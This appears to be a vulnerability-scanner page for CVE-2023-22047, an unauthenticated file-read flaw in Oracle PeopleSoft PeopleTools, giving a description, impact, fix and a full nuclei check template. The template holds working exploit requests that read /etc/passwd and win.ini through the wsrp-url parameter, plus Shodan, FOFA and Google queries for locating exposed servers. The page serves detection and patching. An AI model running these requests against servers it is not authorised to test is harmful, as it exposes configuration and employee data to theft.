Oracle Peoplesoft - Unauthenticated File Read

highseverity

7.5CVSS score

77%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component- Portal). Supported versions that are affected are 8.59 and 8.60. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data.

Impact

Unauthenticated attackers can read arbitrary files from the PeopleSoft server through the wsrp-url parameter in the Portal component, potentially accessing critical data including configuration files and sensitive employee information.

Fix

Update Oracle PeopleSoft Enterprise PeopleTools to a version newer than 8.60 that validates and restricts file:// URLs in the wsrp-url parameter.

How to confirm it

Send: GET {{BaseURL}}/RP?wsrp-url=file:///etc/passwd ; GET {{BaseURL}}/RP?wsrp-url=file:///c:\windows\win.ini
Positive when: matches /root:.*:0:0:/ AND contains in content_type "content/unknown" AND status 200

Run it with nuclei: nuclei -id CVE-2023-22047 -u <target>

The full check

id: CVE-2023-22047

info:
  name: Oracle Peoplesoft - Unauthenticated File Read
  author: tuo4n8
  severity: high
  description: |
    Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component- Portal).  Supported versions that are affected are 8.59 and  8.60. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data.
  impact: |
    Unauthenticated attackers can read arbitrary files from the PeopleSoft server through the wsrp-url parameter in the Portal component, potentially accessing critical data including configuration files and sensitive employee information.
  remediation: |
    Update Oracle PeopleSoft Enterprise PeopleTools to a version newer than 8.60 that validates and restricts file:// URLs in the wsrp-url parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22047
    - https://x.com/tuo4n8/status/1907279143517266286
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-22047
    epss-score: 0.7698
    epss-percentile: 0.99553
    cpe: cpe:2.3:a:oracle:peoplesoft_enterprise:8.59:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: oracle
    product: peoplesoft_enterprise
    shodan-query: http.title:"oracle peoplesoft enterprise"
    fofa-query: title="oracle peoplesoft enterprise"
    google-query: intitle:"oracle peoplesoft enterprise"
  tags: cve,cve2023,oracle,peoplesoft,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/RP?wsrp-url=file:///etc/passwd"
      - "{{BaseURL}}/RP?wsrp-url=file:///c:\\windows\\win.ini"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "bit app support"
        condition: or

      - type: word
        part: content_type
        words:
          - "content/unknown"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from